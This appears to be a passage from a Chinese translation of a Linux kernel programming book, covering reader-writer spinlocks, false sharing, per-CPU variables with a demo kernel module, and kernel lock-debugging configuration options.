因此,对于那些数据访问模式中读取非常频繁而写入很少,并且关键部分是相当长的情况,读-写自旋锁是一种性能增强的锁。

读-写自旋锁接口

使用自旋锁后,使用读-写变体是很简单的;锁数据类型被抽象为rwlock_t结构(而不是spinlock_t),在 API 名称方面,只需用readwrite替换spin

#include <linux/rwlock.h>
rwlock_t mylist_lock;

读-写自旋锁的最基本 API 如下:

void read_lock(rwlock_t *lock);
void write_lock(rwlock_t *lock);

例如,内核的tty层有处理安全关注键SAK)的代码;SAK 是一种安全功能,是一种防止特洛伊木马式凭证黑客攻击的手段,通过终止与 TTY 设备关联的所有进程来实现。当用户按下 SAK 时,这将发生(www.kernel.org/doc/html/latest/security/sak.html)。在其代码路径中,它必须迭代所有任务,终止整个会话和打开 TTY 设备的任何线程。为此,它必须以读模式获取一个名为tasklist_lock的读写自旋锁。相关代码如下,其中tasklist_lock上的read_[un]lock()被突出显示:

// drivers/tty/tty_io.c
void __do_SAK(struct tty_struct *tty)
{
    [...]
    read_lock(&tasklist_lock);
    /* Kill the entire session */
    do_each_pid_task(session, PIDTYPE_SID, p) {
        tty_notice(tty, "SAK: killed process %d (%s): by session\n", task_pid_nr(p), p->comm);
        group_send_sig_info(SIGKILL, SEND_SIG_PRIV, p, PIDTYPE_SID);
    } while_each_pid_task(session, PIDTYPE_SID, p);
    [...]
    /* Now kill any processes that happen to have the tty open */
    do_each_thread(g, p) {
        [...]
    } while_each_thread(g, p);
    read_unlock(&tasklist_lock);

另外,在伴随指南Linux 内核编程-第六章,内核内部要点进程和线程 遍历任务列表部分中,我们做了类似的事情:我们编写了一个内核模块(github.com/PacktPublishing/Linux-Kernel-Programming/raw/master/ch6/foreach/thrd_showall/thrd_showall.c),遍历了任务列表中的所有线程,并输出了每个线程的一些细节。因此,现在我们了解了并发处理的情况,难道我们不应该使用这个锁-tasklist_lock-保护任务列表的读-写自旋锁吗?是的,但它没有起作用(insmod(8)失败,并显示消息thrd_showall: Unknown symbol tasklist_lock (err -2))。原因当然是,这个tasklist_lock变量没有被导出,因此对我们的内核模块不可用。

作为内核代码库中读-写自旋锁的另一个示例,ext4文件系统在处理其范围状态树时使用了一个。我们不打算在这里深入讨论细节;我们只会简单提到一个事实,即读-写自旋锁(在 inode 结构中,inode->i_es_lock)在这里被广泛用于保护范围状态树免受数据竞争的影响(fs/ext4/extents_status.c)。

内核源树中有许多类似的例子;网络堆栈中的许多地方,包括 ping 代码(net/ipv4/ping.c),都使用rwlock_t,路由表查找,邻居,PPP 代码,文件系统等等。

就像普通自旋锁一样,我们有典型的读写自旋锁 API 的变化:{read,write}_lock_irq{save}()与相应的{read,write}_unlock_irq{restore}(),以及{read,write}_{un}lock_bh()接口。请注意,即使是读取 IRQ 锁也会禁用内核抢占。

谨慎一些。

读写自旋锁存在问题。其中一个典型问题是,不幸的是,写者可能会饿死,当阻塞在多个读者上时。想想看:假设当前有三个读取线程持有读写锁。现在,一个写入者想要锁。它必须等到所有三个读者解锁。但如果在此期间,更多的读者出现了(这是完全可能的)?这对于写者来说是一场灾难,他现在必须等待更长的时间 - 实际上是挨饿。(可能需要仔细地检查或分析涉及的代码路径,以弄清楚是否确实是这种情况。)

不仅如此,缓存效应 - 也称为缓存乒乓 - 当多个位于不同 CPU 核心上的读取线程并行读取相同的共享状态时(同时持有读写锁)时,经常会发生,实际上我们在缓存效应和伪共享部分讨论了这一点。自旋锁的内核文档(www.kernel.org/doc/Documentation/locking/spinlocks.txt)也说了差不多的事情。以下是其中的一句引用:“注意!读写锁需要比简单自旋锁更多的原子内存操作。除非读取临界区很长,否则最好只使用自旋锁。”实际上,内核社区正在努力尽可能地删除读写自旋锁,将它们移动到更高级的无锁技术(如RCU - Read Copy Update)中。因此,滥用读写自旋锁是不明智的。

内核文档中有关自旋锁用法的整洁简单的文档(由 Linus Torvalds 本人编写),非常值得一读,可以在这里找到:www.kernel.org/doc/Documentation/locking/spinlocks.txt

读写信号量

我们之前提到过信号量对象(第六章,内核同步 - 第一部分,在信号量和互斥体部分),将其与互斥体进行对比。在那里,您了解到最好只使用互斥体。在这里,我们指出,在内核中,就像存在读写自旋锁一样,也存在读写信号量。用例和语义与读写自旋锁类似。相关的宏/API(在<linux/rwsem.h>中)是{down,up}_{read,write}_{trylock,killable}()。在struct mm_struct结构(它本身在任务结构中)中的一个常见示例是读写信号量:struct rw_semaphore mmap_sem;

结束这个讨论,我们只会简单提到内核中的其他相关同步机制。在用户空间应用程序开发中广泛使用的同步机制(我们特别考虑的是 Linux 用户空间中的 Pthreads 框架)是条件变量CV)。简而言之,它提供了两个或更多线程根据数据项的值或某些特定状态进行同步的能力。在 Linux 内核中,它的等效物被称为完成机制。请在内核文档中找到有关其用法的详细信息:www.kernel.org/doc/html/latest/scheduler/completion.html#completions-wait-for-completion-barrier-apis

序列锁主要用于大部分写情况(与适用于大部分读情况的读写自旋锁/信号量锁相对),在受保护变量的写远远超过读的情况下。你可以想象,这并不是一个非常常见的情况;使用序列锁的一个很好的例子是更新jiffies_64全局变量。

对于好奇的人,jiffies_64全局更新代码从这里开始:kernel/time/tick-sched.c:tick_do_update_jiffies64()。这个函数会判断是否需要更新 jiffies,如果需要,就会调用do_timer(++ticks);来实际更新它。与此同时,write_seq[un]lock(&jiffies_lock);API 提供了对大部分写关键部分的保护。

缓存效应和伪共享

现代处理器在内部使用多级并行缓存内存,以便在处理内存时提供非常显著的加速(我们在配套指南Linux 内核编程-第八章-模块作者的内核内存分配-第一部分-分配 slab 内存部分简要提到了这一点)。我们意识到,现代 CPU 实际上并不直接读写 RAM;当软件指示从某个地址开始读取 RAM 的一个字节时,CPU 实际上会从起始地址读取多个字节 - 整个缓存行的字节(通常为 64 字节)到所有 CPU 缓存(比如 L1、L2 和 L3:1、2 和 3 级)。这样,访问顺序内存的下几个元素会得到巨大的加速,因为首先会在缓存中检查(首先在 L1 中,然后在 L2 中,然后在 L3 中,缓存命中变得可能)。它之所以(要快得多)更快,原因很简单:访问 CPU 缓存内存通常需要 1 到几个(个位数)纳秒,而访问 RAM 可能需要 50 到 100 纳秒(当然,这取决于所涉及的硬件系统和你愿意花费的金额!)。

软件开发人员通过做以下事情来利用这种现象:

  • 将数据结构的重要成员放在一起(希望在一个缓存行内),并放在结构的顶部

  • 填充结构成员,以便我们不会超出缓存行(同样,这些点已经在配套指南Linux 内核编程-第八章-模块作者的内核内存分配-第一部分-数据结构-一些设计提示部分中涵盖了)

然而,存在风险,事情确实会出错。举个例子,考虑这样声明的两个变量:u16 ax = 1, bx = 2;u16表示无符号 16 位整数值)。

现在,因为它们被声明为相邻的,它们在运行时很可能会占用相同的 CPU 缓存行。为了理解问题是什么,让我们举个例子:考虑一个双核系统,每个核有两个 CPU 缓存,L1 和 L2,以及一个公共或统一的 L3 缓存。现在,一个线程T1正在处理变量ax,另一个线程T2正在并发地(在另一个 CPU 核心上)处理变量bx。所以,想一想:当运行在 CPU0上的线程T1从主内存(RAM)中访问ax时,它的 CPU 缓存将被axbx的当前值填充(因为它们在同一个缓存行内!)。同样地,当运行在 CPU1上的线程T2从 RAM 中访问bx时,它的 CPU 缓存也将被两个变量的当前值填充。图 7.4在概念上描述了这种情况:

图 7.4 - 当线程 T1 和 T2 并行处理两个相邻变量时,CPU 缓存内存的概念描述

到目前为止还好;但是如果T1执行一个操作,比如ax ++,与此同时,T2执行bx ++呢?那又怎样?(顺便说一句,您可能会想:为什么他们不使用锁?有趣的是,这与本讨论无关;因为每个线程正在访问不同的变量,所以不存在数据竞争。问题在于它们在同一个 CPU 高速缓存行中。)

这里的问题是高速缓存一致性。处理器和/或处理器与操作系统(这都是与体系结构相关的东西)将必须保持高速缓存和 RAM 相互同步或一致。因此,一旦T1修改ax,CPU 0的那个高速缓存行将被使无效,也就是说,CPU 0的高速缓存行将被刷新到 RAM 以更新 RAM 到新值,然后立即,RAM 到 CPU 1的高速缓存更新也必须发生以保持一切一致!

但是高速缓存行也包含bx,正如我们所说,bx也已经在 CPU 1上由T2修改。因此,几乎同时,CPU 1的高速缓存行将被刷新到 RAM,带有bx的新值,并随后更新到 CPU 0的高速缓存(与此同时,统一的 L3 高速缓存也将被读取/更新)。您可以想象,对这些变量的任何更新都将导致大量的高速缓存和 RAM 流量;它们会反弹。事实上,这经常被称为高速缓存乒乓!这种效果非常有害,会显著减慢处理速度。这种现象被称为错误共享

识别错误共享是困难的部分;我们必须寻找在共享高速缓存行上的变量,这些变量由不同的上下文(线程或其他)同时更新。

有趣的是,在内存管理层的一个关键数据结构的早期实现include/linux/mmzone.h:struct zone也遭受了同样的错误共享问题:两个相邻声明的自旋锁!这个问题已经被解决(我们在配套指南Linux 内核编程-第七章,内存管理内部-基础知识物理 RAM 组织/区域部分简要讨论了内存区域)。

如何解决这个错误的共享?很简单:只需确保变量之间的间距足够大,以确保它们不共享相同的高速缓存行(通常在变量之间插入虚拟填充字节以实现此目的)。还可以参考进一步阅读部分中关于错误共享的参考资料。

无锁编程与每 CPU 变量

正如您所了解的,当操作共享可写数据时,必须以某种方式保护临界区。锁定可能是实现此保护的最常见技术。然而,并非一切都很顺利,因为性能可能会受到影响。要了解原因,可以考虑一些与锁有关的类比:一个是漏斗,漏斗的茎口只宽到足以允许一个线程通过,不多。另一个是繁忙公路上的单个收费站或繁忙十字路口的交通灯。这些类比帮助我们可视化和理解为什么锁定可能导致瓶颈,在一些极端情况下会使性能变得非常缓慢。更糟糕的是,这些不利影响在高端多核系统上可能会被放大;实际上,锁定的扩展性并不好。

另一个问题是锁争用;特定锁被获取的频率是多少?在系统中增加锁的数量有利于降低两个或多个进程(或线程)之间对特定锁的争用。这被称为锁效率。然而,同样地,这并不可扩展到极大的程度:过一段时间后,在系统上拥有数千个锁(实际上是 Linux 内核的情况)并不是好消息-产生微妙的死锁条件的机会显著增加。

因此,存在许多挑战-性能问题、死锁、优先级反转风险、车队(由于锁定顺序,快速代码路径可能需要等待第一个较慢的代码路径,后者已经获取了快速代码路径也需要的锁),等等。在一个可扩展的内核中进一步发展,需要使用无锁算法及其在内核中的实现。这些已经导致了几种创新技术,其中包括每 CPU(PCP)数据、无锁数据结构(按设计)和 RCU。

在本书中,我们选择仅详细介绍每 CPU 作为无锁编程技术。关于 RCU(及其相关的按设计无锁数据结构)的细节超出了本书的范围。请参考本章的进一步阅读部分,了解有关 RCU、其含义以及在 Linux 内核中的使用的几个有用资源。

每 CPU 变量

顾名思义,每 CPU 变量通过为系统上的每个(活动的)CPU 分配一个副本来工作。实际上,通过避免在线程之间共享数据,我们摆脱了并发的问题领域,即临界区。使用每 CPU 数据技术,由于每个 CPU 都引用其自己的数据副本,运行在该处理器上的线程可以在没有竞争的情况下操纵它。 (这在某种程度上类似于局部变量;由于局部变量位于每个线程的私有堆栈上,它们不在线程之间共享,因此没有临界区,也不需要锁定。)在这里,锁定的需求也被消除了-使其成为一种无锁技术!

因此,想象一下:如果您在一个具有四个活动 CPU 核心的系统上运行,那么该系统上的每 CPU 变量本质上是一个四个元素的数组:元素0表示第一个 CPU 上的数据值,元素1表示第二个 CPU 核心上的数据值,依此类推。了解这一点,您会意识到每 CPU 变量在某种程度上也类似于用户空间 Pthreads 线程本地存储TLS)实现,其中每个线程自动获取标有__thread关键字的(TLS)变量的副本。在这里和每 CPU 变量中,显而易见:仅对小数据项使用每 CPU 变量。这是因为数据项会被复制,每个 CPU 核心有一个实例(在具有几百个核心的高端系统上,开销会增加)。我们在内核代码库中提到了一些每 CPU 使用的示例(在内核中的每 CPU 使用部分)。

现在,当使用每 CPU 变量时,您必须使用内核提供的辅助方法(宏和 API),而不是直接访问它们(就像我们在引用计数和原子操作符中看到的那样)。

使用每 CPU

让我们通过将讨论分为两部分来接近每 CPU 数据的辅助 API 和宏(方法)。首先,您将学习如何分配、初始化和随后释放每 CPU 数据项。然后,您将学习如何使用(读/写)它。

分配、初始化和释放每 CPU 变量

基本上有两种类型的每 CPU 变量:静态分配和动态分配。静态分配的每 CPU 变量是在编译时分配的,通常通过DEFINE_PER_CPUDECLARE_PER_CPU宏之一来实现。使用DEFINE允许您分配和初始化变量。以下是一个分配单个整数作为每 CPU 变量的示例:

#include <linux/percpu.h>
DEFINE_PER_CPU(int, pcpa);      // signature: DEFINE_PER_CPU(type, name)

现在,在一个具有四个 CPU 核心的系统上,初始化时概念上看起来是这样的:

图 7.5-在具有四个活动 CPU 的系统上对每 CPU 数据项的概念表示

(实际实现当然比这复杂得多;请参考本章的进一步阅读部分,了解更多内部实现。)

简而言之,使用每个 CPU 变量对于性能敏感的代码路径是有益的,因为:

  • 我们避免使用昂贵的、性能破坏的锁。

  • 访问和操作每个 CPU 变量保证保持在一个特定的 CPU 核心上;这消除了昂贵的缓存效应,如缓存乒乓和伪共享(在“缓存效应和伪共享”部分中介绍)。

可以通过alloc_percpu()alloc_percpu_gfp()包装宏动态分配每个 CPU 数据,只需将要分配为每个 CPU 的对象的数据类型传递给它,对于后者,还要传递gfp分配标志:

alloc_percpu_gfp;

底层的__alloc_per_cpu[_gfp]()例程通过EXPORT_SYMBOL_GPL()导出(因此只能在 LKM 以 GPL 兼容许可证发布时使用)。

正如你所学到的,资源管理的devm_*()API 变体允许你(通常在编写驱动程序时)方便地使用这些例程来分配内存;内核将负责释放它,有助于防止泄漏情况发生。devm_alloc_percpu(dev, type)宏允许你使用这个作为__alloc_percpu()的资源管理版本。

通过前面的例程分配的内存必须随后使用void free_percpu(void __percpu * __pdata) API 释放。

对每个 CPU 变量执行 I/O(读取和写入)

当然,一个关键的问题是你到底如何访问(读取)和更新(写入)每个 CPU 变量?内核提供了几个辅助例程来实现这一点;让我们举一个简单的例子来理解。我们定义一个单个整数每个 CPU 变量,然后在以后的某个时间点,我们想要访问并打印其当前值。你应该意识到,由于是每个 CPU,所以检索到的值将根据代码当前运行的 CPU 核心自动计算;换句话说,如果以下代码在核心1上运行,那么实际上将获取pcpa[1]的值(实际操作并非完全如此;这只是概念上的):

DEFINE_PER_CPU(int, pcpa);
int val;
[ ... ]
val = get_cpu_var(pcpa);
pr_info("cpu0: pcpa = %+d\n", val);
put_cpu_var(pcpa);

{get,put}_cpu_var()宏对我们允许安全地检索或修改给定每个 CPU 变量(其参数)的每个 CPU 值。重要的是要理解get_cpu_var()put_cpu_var()(或等效)之间的代码实际上是一个关键部分 - 一个原子上下文 - 其中内核抢占被禁用,任何类型的阻塞(或睡眠)都是不允许的。如果在这里做任何阻塞(睡眠)的操作,那就是内核错误。例如,看看如果你尝试通过get_cpu_var()/put_cpu_var()宏对内存进行分配会发生什么:

void *p;
val = get_cpu_var(pcpa);
p = vmalloc(20000);
pr_info("cpu1: pcpa = %+d\n", val);
put_cpu_var(pcpa);
vfree(p);
[ ... ]

$ sudo insmod <whatever>.ko
$ dmesg
[ ... ]
BUG: sleeping function called from invalid context at mm/slab.h:421
[67641.443225] in_atomic(): 1, irqs_disabled(): 0, pid: 12085, name:
thrd_1/1
[ ... ]
$

(顺便说一句,在关键部分内部调用printk()(或pr_<foo>())包装器是可以的,因为它们是非阻塞的。)问题在于vmalloc() API 可能是一个阻塞的;它可能会睡眠(我们在配套指南Linux 内核编程第九章模块作者的内核内存分配 - 第二部分理解和使用内核 vmalloc() API部分中详细讨论过),而在get_cpu_var()/put_cpu_var()对之间的代码必须是原子的和非阻塞的。

在内部,get_cpu_var()宏调用preempt_disable(),禁用内核抢占,而put_cpu_var()通过调用preempt_enable()来撤消这一操作。正如之前所见(在配套指南Linux 内核编程CPU 调度章节中),这可以嵌套,并且内核维护一个preempt_count变量来确定内核抢占是否实际上被启用或禁用。

总之,当使用这些宏时,你必须仔细匹配{get,put}_cpu_var()(例如,如果我们调用get宏两次,我们也必须调用相应的put宏两次)。

get_cpu_var()是一个lvalue,因此可以进行操作;例如,要增加每个 CPU 的pcpa变量,只需执行以下操作:

get_cpu_var(pcpa) ++;
put_cpu_var(pcpa);

您还可以(安全地)通过宏检索当前每 CPU 值:

per_cpu(var, cpu);

因此,要检索系统上每个 CPU 核心的每 CPUpcpa变量,请使用以下内容:

for_each_online_cpu(i) {
 val = per_cpu(pcpa, i);
    pr_info(" cpu %2d: pcpa = %+d\n", i, val);
}

顺便说一句,您可以始终使用smp_processor_id()宏来确定您当前运行的 CPU 核心;实际上,这正是我们的convenient.h:PRINT_CTX()宏的工作原理。

类似地,内核提供了用于处理需要为每个 CPU 的变量指针的例程,{get,put}_cpu_ptr()per_cpu_ptr()宏。当处理每个 CPU 数据结构时(而不仅仅是一个简单的整数),这些宏被广泛使用;我们安全地检索当前正在运行的 CPU 的结构的指针,并使用它(per_cpu_ptr())。

每 CPU - 一个示例内核模块

通过我们的示例每 CPU 演示内核模块的实际操作会有所帮助,以使用这个强大的功能(代码在这里:ch13/2_percpu)。在这里,我们定义并使用两个每 CPU 变量:

  • 一个静态分配和初始化的每 CPU 整数

  • 一个动态分配的每 CPU 数据结构

作为演示每 CPU 变量的有趣方式,让我们这样做:我们将安排我们的演示内核模块产生一对内核线程。让我们称它们为thrd_0thrd_1。此外,一旦创建,我们将利用 CPU 掩码(和 API)将我们的thrd_0内核线程关联到 CPU 0,将我们的thrd_1内核线程关联到 CPU 1(因此,它们将被调度在这些核心上运行;当然,我们必须在至少有两个 CPU 核心的 VM 上测试这段代码)。

以下代码片段说明了我们如何定义和使用每 CPU 变量(我们省略了创建内核线程和设置它们的 CPU 亲和性掩码的代码,因为它们与本章的覆盖范围无关;然而,浏览完整代码并尝试它是非常重要的!):

// ch13/2_percpu/percpu_var.c
[ ... ]
/*--- The per-cpu variables, an integer 'pcpa' and a data structure --- */
/* This per-cpu integer 'pcpa' is statically allocated and initialized to 0 */
DEFINE_PER_CPU(int, pcpa);

/* This per-cpu structure will be dynamically allocated via alloc_percpu() */
static struct drv_ctx {
    int tx, rx; /* here, as a demo, we just use these two members,
                   ignoring the rest */
    [ ... ]
} *pcp_ctx;
[ ... ]

static int __init init_percpu_var(void)
{
    [ ... ]
    /* Dynamically allocate the per-cpu structures */
    ret = -ENOMEM;
 pcp_ctx = (struct drv_ctx __percpu *) alloc_percpu(struct drv_ctx);
    if (!pcp_ctx) {
        [ ... ]
}

为什么不使用资源管理的devm_alloc_percpu()呢?是的,在适当的时候你应该使用;然而,在这里,因为我们不是在编写一个合适的驱动程序,我们没有一个struct device *dev指针方便使用,这是devm_alloc_percpu()所需的第一个参数。

顺便说一句,我在编写这个内核模块时遇到了一个问题;要设置 CPU 掩码(为每个内核线程更改 CPU 亲和性),内核 API 是sched_setaffinity()函数,但不幸的是,这个函数对我们来说是未导出的,因此我们无法使用它。因此,我们执行了一个绝对被认为是黑客行为的操作:通过kallsyms_lookup_name()(在定义了CONFIG_KALLSYMS时有效)获取不合作函数的地址,然后将其作为函数指针调用。这样做是有效的,但绝对不是编码的正确方式。

我们的设计思想是创建两个内核线程,并让它们分别操作每 CPU 数据变量。如果这些是普通的全局变量,这肯定构成了一个关键部分,我们当然需要一个锁;但在这里,正是因为它们是每 CPU,并且我们保证我们的线程在不同的核心上运行,我们可以同时使用不同的数据更新它们!我们的内核线程工作例程如下;它的参数是线程编号(01)。我们相应地分支并操作每 CPU 数据(我们的第一个内核线程将整数增加三次,而我们的第二个内核线程将其减少三次):

/* Our kernel thread worker routine */
static int thrd_work(void *arg)
{
    int i, val;
    long thrd = (long)arg;
    struct drv_ctx *ctx;
    [ ... ]

    /* Set CPU affinity mask to 'thrd', which is either 0 or 1 */
    if (set_cpuaffinity(thrd) < 0) {
        [ ... ]
    SHOW_CPU_CTX();

    if (thrd == 0) { /* our kthread #0 runs on CPU 0 */
        for (i=0; i<THRD0_ITERS; i++) {
            /* Operate on our perpcu integer */
 val = ++ get_cpu_var(pcpa);
            pr_info(" thrd_0/cpu0: pcpa = %+d\n", val);
            put_cpu_var(pcpa);

            /* Operate on our perpcu structure */
 ctx = get_cpu_ptr(pcp_ctx);
            ctx->tx += 100;
            pr_info(" thrd_0/cpu0: pcp ctx: tx = %5d, rx = %5d\n",
                ctx->tx, ctx->rx);
            put_cpu_ptr(pcp_ctx);
        }
    } else if (thrd == 1) { /* our kthread #1 runs on CPU 1 */
        for (i=0; i<THRD1_ITERS; i++) {
            /* Operate on our perpcu integer */
 val = -- get_cpu_var(pcpa);
            pr_info(" thrd_1/cpu1: pcpa = %+d\n", val);
           put_cpu_var(pcpa);

            /* Operate on our perpcu structure */
            ctx = get_cpu_ptr(pcp_ctx); ctx->rx += 200;
            pr_info(" thrd_1/cpu1: pcp ctx: tx = %5d, rx = %5d\n",
                ctx->tx, ctx->rx); put_cpu_ptr(pcp_ctx);        }}
    disp_vars();
    pr_info("Our kernel thread #%ld exiting now...\n", thrd);
    return 0;
}

运行时的效果很有趣;请参阅以下内核日志:

图 7.6 - 显示我们的 ch13/2_percpu/percpu_var LKM 运行时的内核日志的屏幕截图

图 7.6的最后三行输出中,您可以看到我们的每 CPU 数据变量在 CPU 0和 CPU 1上的值的摘要(我们通过我们的disp_vars()函数显示)。显然,对于每 CPUpcpa整数(以及pcp_ctx数据结构),值是不同的,正如预期的那样,没有显式锁定

刚刚演示的内核模块使用for_each_online_cpu(i)宏在每个在线 CPU 上显示每个 CPU 变量的值。接下来,如果您的虚拟机有 6 个 CPU,但希望其中只有两个在运行时处于“活动”状态,该怎么办?有几种安排的方法;其中一种是在启动时向 VM 的内核传递maxcpus=n参数-您可以通过查找/proc/cmdline来查看是否存在:

$ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-5.4.0-llkd-dbg root=UUID=1c4<...> ro console=ttyS0,115200n8 console=tty0  quiet splash 3 **maxcpus=2** 还要注意我们正在运行我们自定义的5.4.0-llkd-dbg调试内核。

内核中的每个 CPU 使用

每个 CPU 变量在 Linux 内核中被广泛使用;一个有趣的案例是在 x86 架构上实现current宏的情况(我们在伴随指南Linux 内核编程第六章内核内部要点-进程和线程使用 current 访问任务结构部分中介绍了使用current宏)。事实上,current经常被查找(和设置);将其作为每个 CPU 变量可以确保我们保持其无锁访问!以下是实现它的代码:

// arch/x86/include/asm/current.h
[ ... ]
DECLARE_PER_CPU(struct task_struct *, current_task);
static __always_inline struct task_struct *get_current(void)
{
    return this_cpu_read_stable(current_task);
}
#define current get_current()

DECLARE_PER_CPU()宏声明名为current_task的变量为struct task_struct *类型的每个 CPU 变量。get_current()内联函数在这个每个 CPU 变量上调用this_cpu_read_stable()助手,从而读取当前正在运行的 CPU 核上的current的值(阅读elixir.bootlin.com/linux/v5.4/source/arch/x86/include/asm/percpu.h#L383处的注释以了解这个例程的作用)。好吧,这很好,但一个常见问题:current_task每个 CPU 变量在哪里更新?想一想:内核必须在每当其上下文切换到另一个任务时更改(更新)current

这确实是这种情况;它确实在上下文切换代码(arch/x86/kernel/process_64.c:__switch_to();在elixir.bootlin.com/linux/v5.4/source/arch/x86/kernel/process_64.c#L504)中更新:

__visible __notrace_funcgraph struct task_struct *
__switch_to(struct task_struct *prev_p, struct task_struct *next_p)
{
    [ ... ]
 this_cpu_write(current_task, next_p);
    [ ... ]
}

接下来,一个快速实验来展示内核代码库中通过__alloc_percpu()使用每个 CPU:在内核源代码根目录中运行cscope -d(这假设您已经通过make cscope构建了cscope索引)。在cscope菜单中,在查找调用此函数的函数:提示下,键入__alloc_percpu。结果如下:

图 7.7 - 显示调用 __alloc_percpu() API 的内核代码的(部分)cscope -d 输出的屏幕截图

当然,这只是内核代码库中每个 CPU 使用的部分列表,仅跟踪通过__alloc_percpu()底层 API 的使用。搜索调用alloc_percpu[_gfp]()__alloc_percpu[_gfp]()的包装器)的函数会发现更多命中。

通过这些讨论,我们已经完成了关于内核同步技术和 API 的讨论,让我们通过学习一个关键领域来结束本章:在内核代码中调试锁定问题时的工具和提示!

内核中的锁调试

内核有几种方法来帮助调试与内核级锁定问题有关的困难情况,死锁是主要问题之一。

以防您还没有,确保您首先从上一章(第六章,内核同步-第一部分)中阅读了有关同步、锁定和死锁指南的基础知识,特别是独占执行和原子性Linux 内核中的并发问题部分。

在任何调试场景中,都有不同的调试发生的时间点,因此可能需要使用不同的工具和技术。非常广义地说,bug 可能会在软件开发生命周期SDLC)中的几个不同时间点被注意到和调试(实际上):

  • 开发期间

  • 发布前的开发(测试,质量保证QA)等)

  • 内部发布后

  • 发布后,在现场

一个众所周知且不幸的至理名言:bug 从开发中暴露出来的越远,修复的代价就越高!所以您确实希望尽早找到并修复它们!

由于本书专注于内核开发,我们将在这里专注于一些用于在开发时调试锁问题的工具和技术。

重要:我们期望您现在正在运行调试内核,即故意配置为开发/调试目的的内核。性能会受到影响,但没关系-我们现在是在找 bug!我们在伴随指南Linux 内核编程第五章编写您的第一个内核模块-LKMs 第二部分中介绍了典型调试内核的配置,并在这里提供了一个用于调试的示例内核配置文件:github.com/PacktPublishing/Linux-Kernel-Programming/raw/master/ch5/kconfigs/sample_kconfig_llkd_dbg.config。关于为锁调试配置调试内核的具体信息实际上在下面介绍。

配置调试内核以进行锁调试

由于与锁调试的相关性和重要性,我们将快速查看Linux 内核补丁提交清单文档(www.kernel.org/doc/html/v5.4/process/submit-checklist.html)中与我们讨论最相关的一个关键点,即启用调试内核(特别是用于锁调试):

// https://www.kernel.org/doc/html/v5.4/process/submit-checklist.html
[...]
12\. Has been tested with CONFIG_PREEMPT, CONFIG_DEBUG_PREEMPT, CONFIG_DEBUG_SLAB, CONFIG_DEBUG_PAGEALLOC, CONFIG_DEBUG_MUTEXES, CONFIG_DEBUG_SPINLOCK, CONFIG_DEBUG_ATOMIC_SLEEP, CONFIG_PROVE_RCU and CONFIG_DEBUG_OBJECTS_RCU_HEAD all simultaneously enabled. 
13\. Has been build- and runtime tested with and without CONFIG_SMP and CONFIG_PREEMPT.

16\. All codepaths have been exercised with all lockdep features enabled.
[ ... ]

尽管本书未涉及,但我不能不提到一个非常强大的动态内存错误检测器,称为内核地址 SANitizerKASAN)。简而言之,它使用基于编译时的仪器化动态分析来捕获常见的与内存相关的 bug(它适用于 GCC 和 Clang)。ASan地址 Sanitizer)由 Google 工程师贡献,用于监视和检测用户空间应用程序中的内存问题(在Linux 的系统编程实践书中详细介绍并与 valgrind 进行比较)。内核等效的 KASAN 自 4.0 内核以来已经适用于 x86_64 和 AArch64(从 4.4 Linux 开始)。可以在内核文档中找到有关详细信息(如何启用和使用它)(www.kernel.org/doc/html/v5.4/dev-tools/kasan.html#the-kernel-address-sanitizer-kasan);我强烈建议您在调试内核中启用它。

正如伴随指南Linux 内核编程第二章从源代码构建 5.x Linux 内核-第一部分中所述,我们可以根据我们的需求配置我们的 Linux 内核。在这里(在 5.4.0 内核源代码树的根目录中),我们执行make menuconfig并导航到Kernel hacking / Lock Debugging (spinlocks, mutexes, etc...)菜单(见图 7.8,在我们的 x86_64 Ubuntu 20.04 LTS 虚拟机上拍摄):

图 7.8-(截断)内核 hacking / Lock Debugging(spinlocks,mutexes,等...)菜单的屏幕截图,启用了我们调试内核所需的项目

图 7.8<Kernel hacking> Lock Debugging(spinlocks,mutexes,等...)菜单的(截断)屏幕截图,启用了我们调试内核所需的项目。

与交互式地逐个浏览每个菜单项并选择<帮助>按钮以查看其内容相比,获得相同的帮助信息的一个更简单的方法是查看相关的 Kconfig 文件(描述菜单)。在这里,它是lib/Kconfig.debug,因为所有与调试相关的菜单都在那里。对于我们的特殊情况,搜索menu "锁调试(自旋锁、互斥锁等...)"字符串,其中锁调试部分开始(见下表)。

以下表总结了每个内核锁调试配置选项帮助调试的内容(我们没有展示所有内容,对于其中一些内容,我们直接引用了lib/Kconfig.debug文件中的内容):

锁调试菜单标题 它的作用
锁调试:证明锁定正确性(CONFIG_PROVE_LOCKING 这是lockdep内核选项 - 打开它以始终获得锁正确性的滚动证明。任何与锁定相关的死锁的可能性甚至在实际发生之前就报告;非常有用!(稍后更详细地解释。)
锁使用统计(CONFIG_LOCK_STAT 跟踪锁争用点(稍后更详细地解释)。
RT 互斥锁调试,死锁检测(CONFIG_DEBUG_RT_MUTEXES 这允许自动检测和报告 rt 互斥锁语义违规和 rt 互斥锁相关的死锁(锁死)。”
自旋锁和rw-lock调试:基本检查(CONFIG_DEBUG_SPINLOCK 打开此选项(与CONFIG_SMP一起)有助于捕获缺少自旋锁初始化和其他常见自旋锁错误。
互斥锁调试:基本检查(CONFIG_DEBUG_MUTEXES 此功能允许检测和报告互斥锁语义违规。”
RW 信号量调试:基本检查(CONFIG_DEBUG_RWSEMS 允许检测和报告不匹配的 RW 信号量锁定和解锁。
锁调试:检测错误释放活锁(CONFIG_DEBUG_LOCK_ALLOC 此功能将检查内核是否通过任何内存释放例程(kfree(),kmem_cache_free(),free_pages(),vfree()等)错误释放任何持有的锁(自旋锁、读写锁、互斥锁或 RW 信号量),是否通过spin_lock_init()/mutex_init()等错误重新初始化活锁,或者是否在任务退出期间持有任何锁。”
原子段内睡眠检查(CONFIG_DEBUG_ATOMIC_SLEEP 如果在这里选择 Y,各种可能会睡眠的例程在自旋锁被持有时、在 rcu 读端关键段内、在禁止抢占的段内、在中断内等情况下将变得非常嘈杂...
锁 API 启动时自检(CONFIG_DEBUG_LOCKING_API_SELFTESTS 如果您希望内核在启动时运行简短的自检,请在此处选择 Y。自检检查调试机制是否检测到常见类型的锁定错误。(如果禁用锁调试,则当然不会检测到这些错误。)以下锁定 API 包括:自旋锁、读写锁、互斥锁和 RW 信号量。”
锁的折磨测试(CONFIG_LOCK_TORTURE_TEST 此选项提供一个在内核锁原语上运行折磨测试的内核模块。如果需要,可以在运行的内核上构建内核模块进行测试。”(可以内联构建为Y,也可以作为模块外部构建为M。”

表 17.4 - 典型的内核锁调试配置选项及其含义

